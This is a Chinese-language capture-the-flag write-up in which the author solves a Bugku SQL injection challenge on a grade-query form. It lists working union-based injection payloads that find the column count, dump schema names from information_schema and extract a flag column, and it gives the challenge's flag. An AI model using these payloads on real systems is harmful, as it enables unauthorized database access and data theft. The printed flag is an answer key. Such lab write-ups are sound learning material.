从这里开始进入SQL注入的普通模式啦!!撒花~~
虽然真的学过数据库,可是需要有很熟悉的PHP和数据库变量名字的理解,大概才能很好的学习这个部分。
首先打开这个题目,
快来查查成绩吧!
这里还是有一些提示的,框框里面要求输入1,2,3这种数字以便查询。但是...我们怎么能用普通的思维呢???!!
那么先什么都不输入看看。
什么都木有啊!
还是输个1看看。
接下来输了2和3也是有数据的,4就没有数据了,感觉这个数据库表应该只存了3个数据。
老规矩看了一下源代码,发现什么都没有,只是提示出有数据库表。
所以这道题就是传统的SQL注入题目了
要好好利用这个输入框,达成我们想要查询的东西。
打开FireFox的Hackbar插件,开始POST之旅。
试了一下1后面加上注释符#,发现能够正常显示。
1后面加上飘号',表示截断了后面的语句,就不能正常显示了。
接下来,用上网上查的方法尝试查询出列数。
输入id=1' order by 4#
输入id=1' order by 5#
发现5的这一个就没有显示了,所以确定列数为4。
接下来使用联合查询的方法。
id=0' union select 1,2,3,4#
UNION 操作符用于合并两个或多个SELECT语句的结果集。
SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2
联合查询之后就继续查询数据库名,用户名,版本。
id=0' union select 1,database(),user(),version()#
可以看到第一列就是数据库名,然后好好利用来之不易的数据库名,查询表名,也可以使用一般模式直接查询。
id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#
查询到表名为fl4g之后,开始查询列名。
id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),user(),version()#
最后一步,查看这一列的东西了。【大概率flag,别问为什么】
id=0' union select 1,(select skctf_flag from fl4g),user(),version()#
当当当当~flag出来了,可喜可贺。
BUGKU{Sql_INJECT0N_4813drd8hz4}
大家一起学习吧,学习使人快落,学习使人思想进步~~~~